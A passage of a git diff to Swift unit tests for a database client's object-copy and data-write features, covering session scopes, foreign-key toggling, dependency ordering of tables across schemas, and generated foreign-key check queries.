@@ -22,11 +22,11 @@ private final class CountingDriver: PluginDriverStub, @unchecked Sendable {
     /// What the session answers when the executor asks what it is already holding.
     let sessionState: PluginSessionTransactionState
 
-    /// Every call in the order it arrived: statement text, plus "BEGIN", "COMMIT" and "ROLLBACK".
+    /// Every call in the order it arrived: statement text, plus "BEGIN", "COMMIT", "ROLLBACK" and
+    /// "open" or "close" with a session scope's purpose.
     private(set) var trace: [String] = []
     private var statementCount = 0
 
-    var executed: [String] { trace.filter { !["BEGIN", "COMMIT", "ROLLBACK"].contains($0) } }
     var didCommit: Bool { trace.contains("COMMIT") }
     var didRollBack: Bool { trace.contains("ROLLBACK") }
 
@@ -62,6 +62,15 @@ private final class CountingDriver: PluginDriverStub, @unchecked Sendable {
 
     func sessionTransactionState() async -> PluginSessionTransactionState { sessionState }
 
+    func openSessionScope(for purpose: PluginSessionPurpose) async throws -> PluginSessionScope? {
+        trace.append("open \(purpose)")
+        return PluginSessionScope(purpose: purpose, saved: [], applied: [])
+    }
+
+    func closeSessionScope(_ scope: PluginSessionScope) async throws {
+        trace.append("close \(scope.purpose)")
+    }
+
     func beginTransaction(mode: PluginTransactionAccessMode) async throws { trace.append("BEGIN") }
     func commitTransaction() async throws { trace.append("COMMIT") }
     func rollbackTransaction() async throws {
@@ -205,7 +214,8 @@ struct DataWriteExecutorTests {
         #expect(counting.didCommit)
     }
 
-    @Test("The foreign-key disable runs before the transaction, and the re-enable after it")
+    /// SQLite opens with foreign_keys off, and the epilogue alone would leave it on.
+    @Test("The foreign-key disable runs before the transaction and the re-enable after it, inside a preserving scope")
     func togglesRunOutsideTheTransaction() async throws {
         let counting = CountingDriver(affectedRows: 1)
         _ = try await DataWriteExecutor.run(
@@ -218,15 +228,17 @@ struct DataWriteExecutorTests {
         )
 
         #expect(counting.trace == [
+            "open preserve",
             "PRAGMA foreign_keys = OFF",
             "BEGIN",
             "UPDATE \"t\" SET \"b\" = 0",
             "COMMIT",
             "PRAGMA foreign_keys = ON",
+            "close preserve",
         ])
     }
 
-    @Test("Foreign keys are re-enabled after a rollback too")
+    @Test("Foreign keys are re-enabled and the session's settings put back after a rollback too")
     func togglesRunAfterRollback() async throws {
         let counting = CountingDriver(affectedRows: 1, failOnStatement: 2)
         await #expect(throws: (any Error).self) {
@@ -240,8 +252,36 @@ struct DataWriteExecutorTests {
             )
         }
 
-        #expect(counting.didRollBack)
-        #expect(counting.trace.last == "PRAGMA foreign_keys = ON")
+        #expect(counting.trace.first == "open preserve")
+        #expect(Array(counting.trace.suffix(3)) == ["ROLLBACK", "PRAGMA foreign_keys = ON", "close preserve"])
+    }
+
+    /// PostgreSQL would put a `SET LOCAL` value back session-wide, where it outlives the user's transaction.
+    @Test(
+        "A save inside the user's transaction saves no session settings to put back",
+        arguments: [PluginSessionTransactionState.inTransaction, .abortedTransaction]
+    )
+    func saveInsideTheUsersTransactionOpensNoScope(state: PluginSessionTransactionState) async throws {
+        let counting = CountingDriver(affectedRows: 1, sessionState: state)
+        _ = try? await DataWriteExecutor.run(
+            plan(
+                expectedRowCount: 1,
+                prologue: ["SET session_replication_role = replica"],
+                epilogue: ["SET session_replication_role = origin"]
+            ),
+            on: driver(counting)
+        )
+
+        #expect(!counting.trace.contains("open preserve"))
+        #expect(counting.trace.contains("SET session_replication_role = origin"))
+    }
+
+    @Test("A plan without a prologue leaves the session's settings alone")
+    func planWithoutPrologueOpensNoScope() async throws {
+        let counting = CountingDriver(affectedRows: 1)
+        _ = try await DataWriteExecutor.run(plan(expectedRowCount: 1), on: driver(counting))
+
+        #expect(counting.trace == ["BEGIN", "UPDATE \"t\" SET \"b\" = 0", "COMMIT"])
     }
 
     @Test
@@ -259,7 +299,12 @@ struct DataWriteExecutorTests {
             try await DataWriteExecutor.run(required, on: driver(counting))
         }
 
-        #expect(counting.executed == ["SET IDENTITY_INSERT [dbo].[t] ON", "SET IDENTITY_INSERT [dbo].[t] OFF"])
+        #expect(counting.trace == [
+            "open preserve",
+            "SET IDENTITY_INSERT [dbo].[t] ON",
+            "SET IDENTITY_INSERT [dbo].[t] OFF",
+            "close preserve",
+        ])
         #expect(!counting.didCommit)
     }
 
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyDDLSessionTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyDDLSessionTests.swift
index 535157f743..cc8368d46c 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyDDLSessionTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyDDLSessionTests.swift
@@ -180,7 +180,8 @@ struct ObjectCopyDDLSessionTests {
             createsDatabase: false,
             tableSteps: tables,
             definitionSteps: definitions,
-            isStructureReadPinned: isStructureReadPinned
+            isStructureReadPinned: isStructureReadPinned,
+            keysInside: ObjectCopyKeysInside(created: true, rows: true)
         )
     }
 
@@ -200,7 +201,9 @@ struct ObjectCopyDDLSessionTests {
         let result = try await run(plan(tables: [tableStep()]), on: driver)
 
         #expect(result.failedCount == 0)
-        #expect(driver.events == ["open verbatimWrite", createTable, "close verbatimWrite"])
+        #expect(driver.events == [
+            "open relaxedForeignKeys", "open verbatimWrite", createTable, "close verbatimWrite", "close relaxedForeignKeys"
+        ])
     }
 
     @Test("A failed CREATE TABLE still closes the write scope")
@@ -210,7 +213,9 @@ struct ObjectCopyDDLSessionTests {
         let result = try await run(plan(tables: [tableStep()]), on: driver)
 
         #expect(result.failedCount == 1)
-        #expect(driver.events == ["open verbatimWrite", createTable, "close verbatimWrite"])
+        #expect(driver.events == [
+            "open relaxedForeignKeys", "open verbatimWrite", createTable, "close verbatimWrite", "close relaxedForeignKeys"
+        ])
     }
 
     /// MariaDB renders a TIMESTAMP default in the session's zone, so DDL read as the session is
@@ -221,7 +226,7 @@ struct ObjectCopyDDLSessionTests {
 
         _ = try await run(plan(tables: [tableStep()], isStructureReadPinned: false), on: driver)
 
-        #expect(driver.events == [createTable])
+        #expect(driver.events == ["open relaxedForeignKeys", createTable, "close relaxedForeignKeys"])
     }
 
     @Test("A copy between engines creates its tables under the session as it is")
@@ -230,7 +235,7 @@ struct ObjectCopyDDLSessionTests {
 
         _ = try await run(plan(from: .postgresql, tables: [tableStep()]), on: driver)
 
-        #expect(driver.events == [createTable])
+        #expect(driver.events == ["open relaxedForeignKeys", createTable, "close relaxedForeignKeys"])
     }
 
     // MARK: - Reading the source tables
@@ -289,7 +294,7 @@ struct ObjectCopyDDLSessionTests {
 
         #expect(result.failedCount == 0)
         #expect(driver.events == [
-            "open verbatimWrite", createTable, "close verbatimWrite",
+            "open relaxedForeignKeys", "open verbatimWrite", createTable, "close verbatimWrite", "close relaxedForeignKeys",
             saveMode, setMode, createProcedure, restoreMode
         ])
     }
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlanTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlanTests.swift
index bd62b9c081..aedfff83c8 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlanTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlanTests.swift
@@ -128,6 +128,11 @@ struct ObjectCopyPlanTests {
             [step("orders")],
             request: request(errorHandling: .skipAndContinue)
         ).clearsInsideDataTransaction))
+        /// PostgreSQL commits a transaction a failure aborted as a ROLLBACK, which keeps nothing.
+        #expect(!(plan(
+            [step("orders")],
+            request: request(errorHandling: .stopAndCommit)
+        ).clearsInsideDataTransaction))
         #expect(!(plan(
             [step("orders")],
             request: request(wrapEachTableInTransaction: false)
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerOrderingTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerOrderingTests.swift
index 83e1162625..8572262700 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerOrderingTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerOrderingTests.swift
@@ -48,6 +48,15 @@ struct ObjectCopyPlannerOrderingTests {
         )
     }
 
+    private func parentsFirst(
+        _ selections: [ObjectCopySelection],
+        reads: [ObjectCopySelection: TableStructureRead]
+    ) -> [ObjectCopySelection] {
+        ObjectCopyPlanner.orderedByDependency(
+            [(namespace: "public", tables: selections)], reads: reads
+        )
+    }
+
     @Test
     func aParentIsCreatedBeforeItsChild() {
         let orders = selection("orders")
@@ -57,9 +66,7 @@ struct ObjectCopyPlannerOrderingTests {
             customers: read("customers")
         ]
 
-        let ordered = ObjectCopyPlanner.orderedByDependency(
-            [orders, customers], reads: reads, effectiveSchema: "public"
-        )
+        let ordered = parentsFirst([orders, customers], reads: reads)
 
         #expect(ordered.map(\.name) == ["customers", "orders"])
     }
@@ -76,14 +83,67 @@ struct ObjectCopyPlannerOrderingTests {
             customers: read("customers")
         ]
 
-        let ordered = ObjectCopyPlanner.orderedByDependency(
-            [orders, customers], reads: reads, effectiveSchema: "public"
-        )
+        let ordered = parentsFirst([orders, customers], reads: reads)
 
         #expect(ordered.map(\.name) == ["customers", "orders"],
             "the edge has to survive the schema the table itself does not report")
     }
 
+    /// Sorted one scope at a time, a PostgreSQL database copy created `app.orders` before the
+    /// `core.users` it references, because `app` was the first scope.
+    @Test
+    func aParentInAnotherScopeIsCreatedFirst() {
+        let orders = selection("orders", schema: "app")
+        let users = selection("users", schema: "core")
+        let reads: [ObjectCopySelection: TableStructureRead] = [
+            orders: read("orders", referencing: ["users"], referencedSchema: "core"),
+            users: read("users")
+        ]
+
+        let ordered = ObjectCopyPlanner.orderedByDependency(
+            [(namespace: "app", tables: [orders]), (namespace: "core", tables: [users])],
+            reads: reads
+        )
+
+        #expect(ordered.map(\.qualifiedName) == ["core.users", "app.orders"])
+    }
+
+    /// A case-sensitive MySQL server holds `Shop` and `shop` side by side, so a key into `shop` is
+    /// no edge in `Shop`. Without one the tie-break puts `buildings` first.
+    @Test
+    func aDatabaseSpelledInAnotherCaseIsAnotherDatabase() {
+        let buildings = selection("buildings", schema: nil)
+        let estates = selection("estates", schema: nil)
+        let reads: [ObjectCopySelection: TableStructureRead] = [
+            buildings: read("buildings", referencing: ["estates"], referencedSchema: "shop"),
+            estates: read("estates")
+        ]
+
+        let ordered = ObjectCopyPlanner.orderedByDependency(
+            [(namespace: "Shop", tables: [buildings, estates])], reads: reads
+        )
+
+        #expect(ordered.map(\.name) == ["buildings", "estates"])
+    }
+
+    /// PostgreSQL schemas `App` and `app` are two schemas, so a key into `App` is no edge in `app`.
+    /// Without one the tie-break puts `orders` first.
+    @Test
+    func aSchemaSpelledInAnotherCaseIsAnotherSchema() {
+        let orders = selection("orders", schema: "app")
+        let users = selection("users", schema: "app")
+        let reads: [ObjectCopySelection: TableStructureRead] = [
+            orders: read("orders", referencing: ["users"], referencedSchema: "App"),
+            users: read("users")
+        ]
+
+        let ordered = ObjectCopyPlanner.orderedByDependency(
+            [(namespace: "app", tables: [users, orders])], reads: reads
+        )
+
+        #expect(ordered.map(\.name) == ["orders", "users"])
+    }
+
     /// A cycle cannot be ordered, and dropping one of its tables would be worse than letting the
     /// server refuse the second CREATE, so every input still comes back exactly once.
     @Test
@@ -95,9 +155,7 @@ struct ObjectCopyPlannerOrderingTests {
             second: read("b", referencing: ["a"])
         ]
 
-        let ordered = ObjectCopyPlanner.orderedByDependency(
-            [first, second], reads: reads, effectiveSchema: "public"
-        )
+        let ordered = parentsFirst([first, second], reads: reads)
 
         #expect(Set(ordered.map(\.name)) == ["a", "b"])
         #expect(ordered.count == 2)
@@ -106,9 +164,7 @@ struct ObjectCopyPlannerOrderingTests {
     @Test
     func aSingleTableIsReturnedUnchanged() {
         let only = selection("orders")
-        #expect(ObjectCopyPlanner.orderedByDependency(
-                [only], reads: [only: read("orders")], effectiveSchema: "public"
-            ).map(\.name) == ["orders"])
+        #expect(parentsFirst([only], reads: [only: read("orders")]).map(\.name) == ["orders"])
     }
 
     @Test
@@ -302,9 +358,7 @@ struct ObjectCopyPlannerOrderingTests {
         let unread = names.map { selection($0) }
         let reads: [ObjectCopySelection: TableStructureRead] = [placed: read("customers")]
 
-        let ordered = ObjectCopyPlanner.orderedByDependency(
-            [placed] + unread, reads: reads, effectiveSchema: "public"
-        )
+        let ordered = parentsFirst([placed] + unread, reads: reads)
 
         #expect(ordered.map(\.name) == ["customers"] + names)
     }
@@ -320,12 +374,8 @@ struct ObjectCopyPlannerOrderingTests {
         var backwards: [ObjectCopySelection: TableStructureRead] = [:]
         for (selection, name) in zip(selections, names).reversed() { backwards[selection] = read(name) }
 
-        let first = ObjectCopyPlanner.orderedByDependency(
-            selections, reads: forwards, effectiveSchema: "public"
-        )
-        let second = ObjectCopyPlanner.orderedByDependency(
-            selections, reads: backwards, effectiveSchema: "public"
-        )
+        let first = parentsFirst(selections, reads: forwards)
+        let second = parentsFirst(selections, reads: backwards)
 
         #expect(first.map(\.name) == second.map(\.name))
         #expect(Set(first.map(\.name)) == Set(names))
@@ -344,9 +394,7 @@ struct ObjectCopyPlannerOrderingTests {
             audit: read("audit")
         ]
 
-        let ordered = ObjectCopyPlanner.orderedByDependency(
-            [orders, audit, customers], reads: reads, effectiveSchema: "public"
-        )
+        let ordered = parentsFirst([orders, audit, customers], reads: reads)
 
         guard let parent = ordered.firstIndex(of: customers),
               let child = ordered.firstIndex(of: orders) else {
@@ -356,4 +404,135 @@ struct ObjectCopyPlannerOrderingTests {
         #expect(parent < child)
         #expect(ordered.count == 3)
     }
+
+    // MARK: - Keys inside the copy
+
+    private func keysInside(
+        _ selections: [ObjectCopySelection],
+        reads: [ObjectCopySelection: TableStructureRead],
+        created: Set<ObjectCopySelection>? = nil,
+        rows: [ObjectCopySelection: Bool]
+    ) -> ObjectCopyKeysInside {
+        ObjectCopyPlanner.keysInside(
+            [(namespace: "public", tables: selections)], reads: reads, created: created ?? Set(selections), rows: rows
+        )
+    }
+
+    @Test
+    func aCycleCopiedWholeKeepsItsKeysInside() {
+        let orders = selection("orders", schema: nil)
+        let customers = selection("customers", schema: nil)
+        let reads = [
+            orders: read("orders", referencing: ["customers"]),
+            customers: read("customers", referencing: ["orders", "customers"])
+        ]
+
+        let inside = keysInside([orders, customers], reads: reads, rows: [orders: true, customers: true])
+
+        #expect(inside == ObjectCopyKeysInside(created: true, rows: true))
+    }
+
+    @Test
+    func aChildWithoutItsParentPointsOutside() {
+        let orders = selection("orders")
+
+        let inside = keysInside([orders], reads: [orders: read("orders", referencing: ["customers"])], rows: [orders: true])
+
+        #expect(inside == ObjectCopyKeysInside(created: false, rows: false))
+    }
+
+    /// A table that gets no rows only needs its parent created, not filled.
+    @Test
+    func aParentMissingRowsLeavesOnlyTheRowsOutside() {
+        let orders = selection("orders")
+        let customers = selection("customers")
+        let reads = [orders: read("orders", referencing: ["customers"]), customers: read("customers")]
+
+        #expect(keysInside([orders, customers], reads: reads, rows: [orders: true, customers: false])
+            == ObjectCopyKeysInside(created: true, rows: false))
+        #expect(keysInside([orders, customers], reads: reads, rows: [orders: true])
+            == ObjectCopyKeysInside(created: true, rows: false))
+        #expect(keysInside([orders, customers], reads: reads, rows: [:])
+            == ObjectCopyKeysInside(created: true, rows: true))
+    }
+
+    /// The source's keys say nothing about a table the target keeps, which may reference a parent the copy never touches.
+    @Test
+    func aTableTheTargetKeepsLeavesTheRowsOutside() {
+        let orders = selection("orders")
+
+        let inside = keysInside([orders], reads: [orders: read("orders")], created: [], rows: [orders: true])
+
+        #expect(inside == ObjectCopyKeysInside(created: true, rows: false))
+    }
+
+    @Test
+    func aKeyIntoAnotherSchemaNeedsThatSchemasTable() {
+        let orders = selection("orders", schema: "app")
+        let users = selection("users", schema: "core")
+        let reads = [
+            orders: read("orders", tableSchema: "app", referencing: ["users"], referencedSchema: "core"),
+            users: read("users", tableSchema: "core")
+        ]
+
+        let whole = ObjectCopyPlanner.keysInside(
+            [(namespace: "app", tables: [orders]), (namespace: "core", tables: [users])],
+            reads: reads,
+            created: [orders, users],
+            rows: [orders: true, users: true]
+        )
+        let alone = ObjectCopyPlanner.keysInside(
+            [(namespace: "app", tables: [orders])], reads: reads, created: [orders], rows: [orders: true]
+        )
+
+        #expect(whole == ObjectCopyKeysInside(created: true, rows: true))
+        #expect(alone == ObjectCopyKeysInside(created: false, rows: false))
+    }
+
+    // MARK: - Key checks
+
+    private func key(
+        _ name: String, _ columns: [String], references table: String, _ referenced: [String]
+    ) -> EditableForeignKeyDefinition {
+        EditableForeignKeyDefinition(
+            id: UUID(), name: name, columns: columns, referencedTable: table, referencedColumns: referenced,
+            referencedSchema: nil, onDelete: .noAction, onUpdate: .noAction
+        )
+    }
+
+    private func keyChecks(_ keys: [EditableForeignKeyDefinition]) -> [ObjectCopyKeyCheck]? {
+        ObjectCopyPlanner.keyChecks(
+            for: TableStructureSnapshot(name: "lines", columns: [], foreignKeys: keys),
+            schema: nil,
+            driver: QuotingDriver(),
+            databaseType: .sqlite
+        )
+    }
+
+    @Test
+    func aCompositeKeyIsCheckedOnEveryColumnAndSkipsNulls() {
+        let checks = keyChecks([key("fk_order", ["order_id", "shop_id"], references: "orders", ["id", "shop_id"])])
+
+        #expect(checks == [ObjectCopyKeyCheck(
+            constraint: "fk_order",
+            sql: #"SELECT COUNT(*) FROM "lines" c WHERE c."order_id" IS NOT NULL AND c."shop_id" IS NOT NULL "#
+                + #"AND NOT EXISTS (SELECT 1 FROM "orders" p WHERE p."id" = c."order_id" AND p."shop_id" = c."shop_id")"#
+        )])
+    }
+
+    @Test
+    func aSelfReferenceIsCheckedAgainstItsOwnTable() {
+        let checks = keyChecks([key("fk_parent", ["parent_id"], references: "lines", ["id"])])
+
+        #expect(checks?.first?.sql.contains(#"FROM "lines" c"#) == true)
+        #expect(checks?.first?.sql.contains(#"FROM "lines" p"#) == true)
+    }
+
+    @Test
+    func aKeyWhoseColumnsDoNotPairCannotBeChecked() {
+        #expect(keyChecks([key("fk_bad", ["a", "b"], references: "orders", ["id"])]) == nil)
+        #expect(keyChecks([]) == [])
+    }
 }
+
+private final class QuotingDriver: PluginDriverStub, @unchecked Sendable {}
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerStructureReadTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerStructureReadTests.swift
new file mode 100644
index 0000000000..947d035fc1
--- /dev/null
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerStructureReadTests.swift
@@ -0,0 +1,109 @@
+//
+//  ObjectCopyPlannerStructureReadTests.swift
+//  TableProTests
+//
+//  What reading the source costs before the review shows. A selection of
+//  every table takes the whole-schema reads; a strict subset keeps the
+//  per-table ones.
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class BulkReadCountingDriver: PluginDriverStub, @unchecked Sendable {
+    private let lock = NSLock()
+    private var log: [String] = []
+    private let listed: [PluginTableInfo]
+
+    init(_ names: [String]) {
+        listed = names.map { PluginTableInfo(name: $0, type: "TABLE", schema: nil, comment: nil) }
+    }
+
+    var calls: [String] { lock.withLock { log } }
+
+    private func record(_ call: String) {
+        lock.withLock { log.append(call) }
+    }
+
+    private var column: [PluginColumnInfo] { [PluginColumnInfo(name: "id", dataType: "int")] }
+
+    var providesBulkColumnFetch: Bool { true }
+    var providesBulkIndexFetch: Bool { true }
+    var providesBulkForeignKeyFetch: Bool { true }
+    var providesBulkTableMetadataFetch: Bool { true }
+
+    func fetchTables(schema: String?) async throws -> [PluginTableInfo] { listed }
+
+    func fetchAllColumns(schema: String?) async throws -> [String: [PluginColumnInfo]] {
+        record("fetchAllColumns")
+        return Dictionary(uniqueKeysWithValues: listed.map { ($0.name, column) })
+    }
+
+    func fetchAllIndexes(schema: String?) async throws -> [String: [PluginIndexInfo]] {
+        record("fetchAllIndexes")
+        return [:]
+    }
+
+    func fetchAllForeignKeys(schema: String?) async throws -> [String: [PluginForeignKeyInfo]] {
+        record("fetchAllForeignKeys")
+        return [:]
+    }
+
+    func fetchAllTableMetadata(schema: String?) async throws -> [String: PluginTableMetadata] {
+        record("fetchAllTableMetadata")
+        return [:]
+    }
+
+    func fetchColumns(table: String, schema: String?) async throws -> [PluginColumnInfo] {
+        record("fetchColumns \(table)")
+        return column
+    }
+}
+
+struct ObjectCopyPlannerStructureReadTests {
+    /// Every name handed over, in another case than the server's, still covers the scope.
+    @Test
+    func aSelectionOfEveryTableReadsTheWholeSchema() async throws {
+        let driver = BulkReadCountingDriver(["estates", "buildings", "users"])
+
+        let read = try await ObjectCopyPlanner.pinnedTableReads(
+            names: ["Estates", "buildings", "users"], schema: nil, databaseType: .mysql, using: driver
+        )
+
+        #expect(read.reads.map(\.table.name) == ["estates", "buildings", "users"])
+        #expect(driver.calls.filter { $0 == "fetchAllColumns" }.count == 1)
+        #expect(!driver.calls.contains { $0.hasPrefix("fetchColumns") })
+    }
+
+    @Test
+    func aStrictSubsetKeepsThePerTableReads() async throws {
+        let driver = BulkReadCountingDriver(["estates", "buildings", "users"])
+
+        let read = try await ObjectCopyPlanner.pinnedTableReads(
+            names: ["estates"], schema: nil, databaseType: .mysql, using: driver
+        )
+
+        #expect(read.reads.map(\.table.name) == ["estates"])
+        #expect(!driver.calls.contains("fetchAllColumns"))
+        #expect(driver.calls.contains("fetchColumns estates"))
+        #expect(!driver.calls.contains("fetchColumns users"))
+    }
+
+    /// A copy never offers a foreign table or a sequence, and leaving a view out costs a bulk read
+    /// little, so none of them makes the selection a subset.
+    @Test
+    func onlyATableLeftOutNarrowsTheRead() {
+        let listed = [
+            PluginTableInfo(name: "orders", type: "TABLE", schema: nil, comment: nil),
+            PluginTableInfo(name: "recent", type: "VIEW", schema: nil, comment: nil),
+            PluginTableInfo(name: "remote", type: "FOREIGN TABLE", schema: nil, comment: nil),
+            PluginTableInfo(name: "orders_id_seq", type: "SEQUENCE", schema: nil, comment: nil)
+        ]
+
+        #expect(!CompareMetadataService.narrows(listed, to: ["orders"]))
+        #expect(CompareMetadataService.narrows(listed, to: ["recent"]))
+        #expect(!CompareMetadataService.narrows(listed, to: nil), "a comparison names nothing and reads the scope")
+    }
+}
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopySessionScopeTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopySessionScopeTests.swift
index c89b4dd285..d469f19cc2 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopySessionScopeTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopySessionScopeTests.swift
@@ -331,7 +331,8 @@ struct ObjectCopySessionScopeTests {
             ),
             createsDatabase: false,
             tableSteps: [step()],
-            definitionSteps: []
+            definitionSteps: [],
+            keysInside: ObjectCopyKeysInside(created: true, rows: true)
         )
         let provider = TwoConnectionProvider(drivers: [
             sourceScope.connectionId: PluginDriverAdapter(
@@ -356,7 +357,10 @@ struct ObjectCopySessionScopeTests {
 
         #expect(result.rowsCopied == 2)
         #expect(source.events == ["open verbatimRead", "stream", "close verbatimRead"])
-        #expect(target.events == ["begin", "open verbatimWrite", "insert", "close verbatimWrite", "commit"])
+        #expect(target.events == [
+            "begin", "open relaxedForeignKeys", "open verbatimWrite", "insert", "close verbatimWrite",
+            "close relaxedForeignKeys", "commit"
+        ])
     }
 
     @MainActor @Test("The runner opens no scope for a copy between engines")
@@ -368,6 +372,6 @@ struct ObjectCopySessionScopeTests {
 
         #expect(result.rowsCopied == 2)
         #expect(source.events == ["stream"])
-        #expect(target.events == ["begin", "insert", "commit"])
+        #expect(target.events == ["begin", "open relaxedForeignKeys", "insert", "close relaxedForeignKeys", "commit"])
     }
 }
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyTransactionTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyTransactionTests.swift
index 80bf80c55e..ab8b8205a5 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyTransactionTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyTransactionTests.swift
@@ -14,69 +14,217 @@ import Foundation
 import TableProPluginKit
 import Testing
 
-@MainActor
-private final class StubMetadataProvider: ScopedMetadataProviding {
-    private let driver: DatabaseDriver
+private struct StatementFailure: Error {}
 
-    init(driver: DatabaseDriver) {
-        self.driver = driver
-    }
+private final class CopyEventLog: @unchecked Sendable {
+    private let lock = NSLock()
+    private var entries: [String] = []
 
-    func withMetadataDriver<T: Sendable>(
-        scope: DatabaseScope,
-        workload: MetadataConnectionPool.Workload,
-        _ body: @Sendable @escaping (DatabaseDriver) async throws -> T
-    ) async throws -> T {
-        try await body(driver)
-    }
+    var events: [String] { lock.withLock { entries } }
 
-    func browseScope(for connectionId: UUID) -> DatabaseScope? { nil }
+    func record(_ event: String) {
+        lock.withLock { entries.append(event) }
+    }
 }
 
 private final class RecordingCopyDriver: PluginDriverStub, @unchecked Sendable {
-    private let lock = NSLock()
-    private var statements: [String] = []
-    private var transactions: [String] = []
-    private var state: PluginSessionTransactionState
+    private let name: String
+    private let log: CopyEventLog
+    private let sessionState: PluginSessionTransactionState
+    private let failing: Set<String>
+    private let failsInserts: Bool
+    private let failsInsertsAfter: Int?
+    private let cancelsOnInsert: Bool
+    private let rowCount: Int
+    private let transactional: Bool
+    private let brokenRows: Int
+    private let throwsCancellationAfter: Int?
+    private var inserts = 0
 
-    init(sessionState: PluginSessionTransactionState) {
-        state = sessionState
+    init(
+        _ name: String,
+        log: CopyEventLog,
+        sessionState: PluginSessionTransactionState = .idle,
+        failing: Set<String> = [],
+        failsInserts: Bool = false,
+        failsInsertsAfter: Int? = nil,
+        cancelsOnInsert: Bool = false,
+        rowCount: Int = 1,
+        transactional: Bool = true,
+        brokenRows: Int = 0,
+        throwsCancellationAfter: Int? = nil
+    ) {
+        self.name = name
+        self.log = log
+        self.sessionState = sessionState
+        self.failing = failing
+        self.failsInserts = failsInserts
+        self.failsInsertsAfter = failsInsertsAfter
+        self.cancelsOnInsert = cancelsOnInsert
+        self.rowCount = rowCount
+        self.transactional = transactional
+        self.brokenRows = brokenRows
+        self.throwsCancellationAfter = throwsCancellationAfter
     }
 
-    var executed: [String] { lock.withLock { statements } }
-    var transactionEvents: [String] { lock.withLock { transactions } }
-
     var capabilities: PluginCapabilities { [] }
-    var supportsTransactions: Bool { true }
-    var supportsTransactionalDDL: Bool { true }
+    var supportsTransactions: Bool { transactional }
+    var supportsTransactionalDDL: Bool { transactional }
 
-    func sessionTransactionState() async -> PluginSessionTransactionState { lock.withLock { state } }
+    private func record(_ event: String) {
+        log.record("\(name) \(event)")
+    }
+
+    func sessionTransactionState() async -> PluginSessionTransactionState { sessionState }
+
+    func openSessionScope(for purpose: PluginSessionPurpose) async throws -> PluginSessionScope? {
+        record("open \(purpose)")
+        guard purpose == .relaxedForeignKeys else { return nil }
+        return PluginSessionScope(purpose: purpose, saved: [], applied: [])
+    }
+
+    func closeSessionScope(_ scope: PluginSessionScope) async throws {
+        record(Task.isCancelled ? "close \(scope.purpose) while cancelled" : "close \(scope.purpose)")
+    }
 
     func execute(query: String) async throws -> PluginQueryResult {
-        lock.withLock { statements.append(query) }
-        return PluginQueryResult(columns: [], columnTypeNames: [], rows: [], rowsAffected: 0, executionTime: 0)
+        record(query)
+        if failing.contains(query) { throw StatementFailure() }
+        if query.hasPrefix("SELECT COUNT(*)") {
+            return PluginQueryResult(
+                columns: ["count"], columnTypeNames: [], rows: [[.text("\(brokenRows)")]], rowsAffected: 0, executionTime: 0
+            )
+        }
+        return PluginQueryResult(
+            columns: ["id"],
+            columnTypeNames: [],
+            rows: Array(repeating: [.text("1")], count: rowCount),
+            rowsAffected: rowCount,
+            executionTime: 0
+        )
     }
 
-    func beginTransaction() async throws { lock.withLock { transactions.append("begin") } }
-    func commitTransaction() async throws { lock.withLock { transactions.append("commit") } }
-    func rollbackTransaction() async throws { lock.withLock { transactions.append("rollback") } }
+    func executeParameterized(query: String, parameters: [PluginCellValue]) async throws -> PluginQueryResult {
+        record("insert")
+        if cancelsOnInsert {
+            withUnsafeCurrentTask { task in
+                guard let task else { return }
+                task.cancel()
+            }
+        }
+        inserts += 1
+        if inserts > throwsCancellationAfter ?? .max { throw CancellationError() }
+        if failsInserts || inserts > failsInsertsAfter ?? .max { throw StatementFailure() }
+        return PluginQueryResult(columns: [], columnTypeNames: [], rows: [], rowsAffected: 1, executionTime: 0)
+    }
+
+    func beginTransaction() async throws { record("begin") }
+    func commitTransaction() async throws { record("commit") }
+    func rollbackTransaction() async throws { record("rollback") }
+}
+
+@MainActor
+private final class StubMetadataProvider: ScopedMetadataProviding {
+    private let drivers: [UUID: DatabaseDriver]
+    private let leases: CopyEventLog?
+
+    init(leases: CopyEventLog? = nil, drivers: [UUID: DatabaseDriver]) {
+        self.drivers = drivers
+        self.leases = leases
+    }
+
+    func withMetadataDriver<T: Sendable>(
+        scope: DatabaseScope,
+        workload: MetadataConnectionPool.Workload,
+        _ body: @Sendable @escaping (DatabaseDriver) async throws -> T
+    ) async throws -> T {
+        guard let driver = drivers[scope.connectionId] else {
+            throw ObjectCopyError.refused("No driver for \(scope.connectionId)")
+        }
+        leases?.record("lease \(scope.database)")
+        return try await body(driver)
+    }
+
+    func browseScope(for connectionId: UUID) -> DatabaseScope? { nil }
 }
 
 @MainActor
 struct ObjectCopyTransactionTests {
-    private func endpoint(_ database: String) -> DatabaseEndpoint {
+    private let sourceScope = DatabaseScope(connectionId: UUID(), database: "app", schema: nil)
+    private let targetScope = DatabaseScope(connectionId: UUID(), database: "staging", schema: nil)
+
+    // Different engines, so the copier opens no scope of its own and the log holds only the runner's.
+    private let sourceType = DatabaseType.postgresql
+    private let targetType = DatabaseType.mysql
+
+    private func endpoint(_ scope: DatabaseScope, _ type: DatabaseType) -> DatabaseEndpoint {
         DatabaseEndpoint(
